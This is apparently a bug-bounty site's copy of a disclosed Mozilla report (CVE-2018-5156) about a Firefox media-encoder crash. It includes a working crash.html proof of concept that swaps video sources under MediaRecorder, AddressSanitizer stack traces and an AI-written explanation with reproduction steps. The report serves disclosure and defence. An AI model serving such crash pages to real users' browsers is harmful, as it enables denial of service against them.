Skip to content
DoS Disclosed report Advanced CVE-2018-5156

SEGV in mozilla::MediaEncoder::AudioTrackListener::NotifyRealtimeTrackData

A crafted HTML page that manipulates a video element's source and uses MediaRecorder causes a segmentation fault in Firefox's media encoder. An attacker could crash the browser, potentially leading to denial of service.

Nils Follow

Originally disclosed on Mozilla

  • Fixed in 56 days
  • Paid in 41 days
  • Disclosed after 56 days

The following testcase crashes the latest ASAN build of Firefox 61.0a1 (SourceStamp=30d72755b1749953d438199456f1524ce84ab5e5). It requires the three attached media files in the same directory and might require a few attempts to trigger. It works best for me when loaded from a file:// location, however I also managed to reproduce from a HTTP server.

crash.html

<script> function spin () { var x=new XMLHttpRequest(); x.open("POST","https://mozilla.org",false); try{x.send("X");}catch(e){} } function start() { o208=document.createElementNS('http://www.w3.org/1999/xhtml','video'); o208.autoplay=true; o208.setAttribute('src','1.ogg'); o208.onplaying=fun0; spin(); o379=o208.mozCaptureStreamUntilEnded(); o208.setAttribute('src','2.webm'); window.setTimeout("location.reload()",400); } function fun0() { try{o573=new MediaRecorder(o379);}catch(e){} o208.setAttribute('src','3.webm'); try{o573.start();}catch(e){} } </script> <body onload="start()"></body>

ASAN output: AddressSanitizer:DEADLYSIGNAL

==13484==ERROR: AddressSanitizer: SEGV on unknown address 0x00009fff8000 (pc 0x7fd41288058a bp 0x7fd3f3fd8ff0 sp 0x7fd3f3fd8fa0 T304) ==13484==The signal is caused by a READ memory access. #0 0x7fd412880589 in Length /builds/worker/workspace/build/src/obj-firefox/dist/include/nsTArray.h:369:43 #1 0x7fd412880589 in AppendElements<const void , nsTArrayInfallibleAllocator, nsTArrayInfallibleAllocator> /builds/worker/workspace/build/src/obj-firefox/dist/include/nsTArray.h:1637 #2 0x7fd412880589 in AutoTArray /builds/worker/workspace/build/src/obj-firefox/dist/include/nsTArray.h:2457 #3 0x7fd412880589 in AudioChunk /builds/worker/workspace/build/src/dom/media/AudioSegment.h:161 #4 0x7fd412880589 in Construct<const mozilla::AudioChunk &> /builds/worker/workspace/build/src/obj-firefox/dist/include/nsTArray.h:539 #5 0x7fd412880589 in mozilla::AudioChunk nsTArray_Impl<mozilla::AudioChunk, nsTArrayInfallibleAllocator>::AppendElement<mozilla::AudioChunk const&, nsTArrayInfallibleAllocator>(mozilla::AudioChunk const&) /builds/worker/workspace/build/src/obj-firefox/dist/include/nsTArray.h:2291 #6 0x7fd41287febb in mozilla::MediaSegmentBase<mozilla::AudioSegment, mozilla::AudioChunk>::AppendSliceInternal(mozilla::MediaSegmentBase<mozilla::AudioSegment, mozilla::AudioChunk> const&, long, long) /builds/worker/workspace/build/src/obj-firefox/dist/include/MediaSegment.h:512:19 #7 0x7fd41746dd94 in AppendSlice /builds/worker/workspace/build/src/obj-firefox/dist/include/MediaSegment.h:277:5 #8 0x7fd41746dd94 in mozilla::MediaEncoder::AudioTrackListener::NotifyRealtimeTrackData(mozilla::MediaStreamGraph*, long, mozilla::MediaSegment const&) /builds/worker/workspace/build/src/dom/media/encoder/MediaEncoder.cpp:150 #9 0x7fd41746cc86 in mozilla::MediaEncoder::AudioTrackListener::NotifyQueuedChanges(mozilla::MediaStreamGraph*, long, mozilla::MediaSegment const&) /builds/worker/workspace/build/src/dom/media/encoder/MediaEncoder.cpp:123:7 #10 0x7fd417074766 in mozilla::TrackUnionStream::CopyTrackData(mozilla::StreamTracks::Track*, unsigned int, long, long, bool*) /builds/worker/workspace/build/src/dom/media/TrackUnionStream.cpp:355:22 #11 0x7fd417072425 in mozilla::TrackUnionStream::ProcessInput(long, long, unsigned int) /builds/worker/workspace/build/src/dom/media/TrackUnionStream.cpp:122:11 #12 0x7fd417367045 in mozilla::MediaStreamGraphImpl::Process() /builds/worker/workspace/build/src/dom/media/MediaStreamGraph.cpp:1271:15 #13 0x7fd417368014 in mozilla::MediaStreamGraphImpl::OneIteration(long) /builds/worker/workspace/build/src/dom/media/MediaStreamGraph.cpp:1357:3 #14 0x7fd4170fa844 in mozilla::ThreadedDriver::RunThread() /builds/worker/workspace/build/src/dom/media/GraphDriver.cpp:319:40 #15 0x7fd417124552 in mozilla::MediaStreamGraphInitThreadRunnable::Run() /builds/worker/workspace/build/src/dom/media/GraphDriver.cpp:194:14 #16 0x7fd410cb3f18 in nsThread::ProcessNextEvent(bool, bool*) /builds/worker/workspace/build/src/xpcom/threads/nsThread.cpp:1096:14 #17 0x7fd410cd0350 in NS_ProcessNextEvent(nsIThread*, bool) /builds/worker/workspace/build/src/xpcom/threads/nsThreadUtils.cpp:519:10 #18 0x7fd411ba544b in mozilla::ipc::MessagePumpForNonMainThreads::Run(base::MessagePump::Delegate*) /builds/worker/workspace/build/src/ipc/glue/MessagePump.cpp:334:20 #19 0x7fd411af4229 in RunInternal /builds/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:326:10 #20 0x7fd411af4229 in RunHandler /builds/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:319 #21 0x7fd411af4229 in MessageLoop::Run() /builds/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:299 #22 0x7fd410cae368 in nsThread::ThreadFunc(void*) /builds/worker/workspace/build/src/xpcom/threads/nsThread.cpp:425:11 #23 0x7fd42e1d647e in _pt_root /builds/worker/workspace/build/src/nsprpub/pr/src/pthreads/ptthread.c:201:5 #24 0x7fd431b636b9 in start_thread (/lib/x86_64-linux-gnu/libpthread.so.0+0x76b9) #25 0x7fd430bec3dc in clone (/lib/x86_64-linux-gnu/libc.so.6+0x1073dc)

AddressSanitizer can not provide additional info. SUMMARY: AddressSanitizer: SEGV /builds/worker/workspace/build/src/obj-firefox/dist/include/nsTArray.h:369:43 in Length Thread T304 (MediaStreamGrph) created by T303 (CubebOp~tion #1) here: #0 0x4ae80d in __interceptor_pthread_create /builds/worker/workspace/moz-toolchain/src/llvm/projects/compiler-rt/lib/asan/asan_interceptors.cc:204:3 #1 0x7fd42e1d31cf in _PR_CreateThread /builds/worker/workspace/build/src/nsprpub/pr/src/pthreads/ptthread.c:433:14 #2 0x7fd42e1d2dbe in PR_CreateThread /builds/worker/workspace/build/src/nsprpub/pr/src/pthreads/ptthread.c:518:12 #3 0x7fd410cb02e3 in nsThread::Init(nsTSubstring<char> const&) /builds/worker/workspace/build/src/xpcom/threads/nsThread.cpp:612:8 #4 0x7fd410cb9eca in nsThreadManager::NewNamedThread(nsTSubstring<char> const&, unsigned int, nsIThread**) /builds/worker/workspace/build/src/xpcom/threads/nsThreadManager.cpp:471:22 #5 0x7fd410cca454 in NS_NewNamedThread(nsTSubstring<char> const&, nsIThread**, nsIRunnable*, unsigned int) /builds/worker/workspace/build/src/xpcom/threads/nsThreadUtils.cpp:143:45 #6 0x7fd4170f9a25 in NS_NewNamedThread<16> /builds/worker/workspace/build/src/obj-firefox/dist/include/nsThreadUtils.h:72:10 #7 0x7fd4170f9a25 in mozilla::ThreadedDriver::Start() /builds/worker/workspace/build/src/dom/media/GraphDriver.cpp:210 #8 0x7fd4170fc950 in mozilla::AudioCallbackDriver::Init() /builds/worker/workspace/build/src/dom/media/GraphDriver.cpp:625:5 #9 0x7fd4170fbd34 in mozilla::AsyncCubebTask::Run() /builds/worker/workspace/build/src/dom/media/GraphDriver.cpp:495:21 #10 0x7fd410ccb05c in nsThreadPool::Run() /builds/worker/workspace/build/src/xpcom/threads/nsThreadPool.cpp:228:14 #11 0x7fd410ccb75c in non-virtual thunk to nsThreadPool::Run() /builds/worker/workspace/build/src/xpcom/threads/nsThreadPool.cpp #12 0x7fd410cb3f18 in nsThread::ProcessNextEvent(bool, bool*) /builds/worker/workspace/build/src/xpcom/threads/nsThread.cpp:1096:14 #13 0x7fd410cd0350 in NS_ProcessNextEvent(nsIThread*, bool) /builds/worker/workspace/build/src/xpcom/threads/nsThreadUtils.cpp:519:10 #14 0x7fd411ba55cc in mozilla::ipc::MessagePumpForNonMainThreads::Run(base::MessagePump::Delegate*) /builds/worker/workspace/build/src/ipc/glue/MessagePump.cpp:364:5 #15 0x7fd411af4229 in RunInternal /builds/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:326:10 #16 0x7fd411af4229 in RunHandler /builds/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:319 #17 0x7fd411af4229 in MessageLoop::Run() /builds/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:299 #18 0x7fd410cae368 in nsThread::ThreadFunc(void*) /builds/worker/workspace/build/src/xpcom/threads/nsThread.cpp:425:11 #19 0x7fd42e1d647e in _pt_root /builds/worker/workspace/build/src/nsprpub/pr/src/pthreads/ptthread.c:201:5 #20 0x7fd431b636b9 in start_thread (/lib/x86_64-linux-gnu/libpthread.so.0+0x76b9)

Thread T303 (CubebOp~tion #1) created by T0 (file:// Content) here: #0 0x4ae80d in __interceptor_pthread_create /builds/worker/workspace/moz-toolchain/src/llvm/projects/compiler-rt/lib/asan/asan_interceptors.cc:204:3 #1 0x7fd42e1d31cf in _PR_CreateThread /builds/worker/workspace/build/src/nsprpub/pr/src/pthreads/ptthread.c:433:14 #2 0x7fd42e1d2dbe in PR_CreateThread /builds/worker/workspace/build/src/nsprpub/pr/src/pthreads/ptthread.c:518:12 #3 0x7fd410cb02e3 in nsThread::Init(nsTSubstring<char> const&) /builds/worker/workspace/build/src/xpcom/threads/nsThread.cpp:612:8 #4 0x7fd410cb9eca in nsThreadManager::NewNamedThread(nsTSubstring<char> const&, unsigned int, nsIThread**) /builds/worker/workspace/build/src/xpcom/threads/nsThreadManager.cpp:471:22 #5 0x7fd410cc9dbf in NS_NewNamedThread /builds/worker/workspace/build/src/xpcom/threads/nsThreadUtils.cpp:143:45 #6 0x7fd410cc9dbf in nsThreadPool::PutEvent(already_AddRefed<nsIRunnable>, unsigned int) /builds/worker/workspace/build/src/xpcom/threads/nsThreadPool.cpp:109 #7 0x7fd410ccb916 in nsThreadPool::Dispatch(already_AddRefed<nsIRunnable>, unsigned int) /builds/worker/workspace/build/src/xpcom/threads/nsThreadPool.cpp:277:5 #8 0x7fd4170ff953 in Dispatch /builds/worker/workspace/build/src/obj-firefox/dist/include/nsIEventTarget.h:37:14 #9 0x7fd4170ff953 in Dispatch /builds/worker/workspace/build/src/dom/media/GraphDriver.h:583 #10 0x7fd4170ff953 in mozilla::AudioCallbackDriver::Start() /builds/worker/workspace/build/src/dom/media/GraphDriver.cpp:748 #11 0x7fd417369bba in mozilla::MediaStreamGraphImpl::RunInStableState(bool) /builds/worker/workspace/build/src/dom/media/MediaStreamGraph.cpp:1693:17 #12 0x7fd41738e48f in mozilla::(anonymous namespace)::MediaStreamGraphStableStateRunnable::Run() /builds/worker/workspace/build/src/dom/media/MediaStreamGraph.cpp:1548:15 #13 0x7fd410b0a6c0 in mozilla::CycleCollectedJSContext::ProcessStableStateQueue() /builds/worker/workspace/build/src/xpcom/base/CycleCollectedJSContext.cpp:312:12 #14 0x7fd410b0c855 in mozilla::CycleCollectedJSContext::AfterProcessTask(unsigned int) /builds/worker/workspace/build/src/xpcom/base/CycleCollectedJSContext.cpp:377:3 #15 0x7fd412569d5d in XPCJSContext::AfterProcessTask(unsigned int) /builds/worker/workspace/build/src/js/xpconnect/src/XPCJSContext.cpp:1252:30 #16 0x7fd410cb49e3 in nsThread::ProcessNextEvent(bool, bool*) /builds/worker/workspace/build/src/xpcom/threads/nsThread.cpp:1133:24 #17 0x7fd410cd0350 in NS_ProcessNextEvent(nsIThread*, bool) /builds/worker/workspace/build/src/xpcom/threads/nsThreadUtils.cpp:519:10 #18 0x7fd411ba445a in mozilla::ipc::MessagePump::Run(base::MessagePump::Delegate*) /builds/worker/workspace/build/src/ipc/glue/MessagePump.cpp:97:21 #19 0x7fd411af4229 in RunInternal /builds/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:326:10 #20 0x7fd411af4229 in RunHandler /builds/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:319 #21 0x7fd411af4229 in MessageLoop::Run() /builds/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:299 #22 0x7fd418815eba in nsBaseAppShell::Run() /builds/worker/workspace/build/src/widget/nsBaseAppShell.cpp:157:27 #23 0x7fd41cad7edb in XRE_RunAppShell() /builds/worker/workspace/build/src/toolkit/xre/nsEmbedFunctions.cpp:893:22 #24 0x7fd411af4229 in RunInternal /builds/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:326:10 #25 0x7fd411af4229 in RunHandler /builds/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:319 #26 0x7fd411af4229 in MessageLoop::Run() /builds/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:299 #27 0x7fd41cad78a2 in XRE_InitChildProcess(int, char**, XREChildData const*) /builds/worker/workspace/build/src/toolkit/xre/nsEmbedFunctions.cpp:719:34 #28 0x4f50dc in content_process_main /builds/worker/workspace/build/src/browser/app/../../ipc/contentproc/plugin-container.cpp:50:30 #29 0x4f50dc in main /builds/worker/workspace/build/src/browser/app/nsBrowserApp.cpp:280 #30 0x7fd430b0582f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)

==13484==ABORTING

The original report as published on Mozilla's Bugzilla, by Nils. Images and videos are our own copies; raw HTML is shown as text. View it on Mozilla's Bugzilla.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely a use-after-free or race condition in the media encoder when the audio track listener processes data after the underlying stream has been modified or destroyed.

Impact

The browser crashes, causing a denial of service; the report notes it might require a few attempts and works best from a local file but can also be reproduced over HTTP.

What the attacker needed

Victim loads a malicious page; three media files in same directory; may require multiple attempts

How it was found

  1. Create a video element with autoplay and set its source to an Ogg file.
  2. When the video starts playing, capture its stream and create a MediaRecorder from it.
  3. Change the video source to a WebM file and start the recorder.
  4. After a short delay, reload the page to trigger the crash.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

This report shows a way to make Firefox crash by loading a specially crafted web page that plays and records audio/video in a tricky order. The crash happens inside Firefox's media handling code, so the browser stops working. An attacker could use this to disrupt a user's browsing session.

What is DoS?

A request that exhausts resources or crashes a component. Many programs forbid testing it; reports usually show it from code, not by attacking.

More by Nils

View all

133 more disclosed reports, best first.

More from Mozilla

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Denial of service

The lesson behind this report.

A request that exhausts resources or crashes a component. Many programs forbid testing it; reports usually show it from code, not by attacking.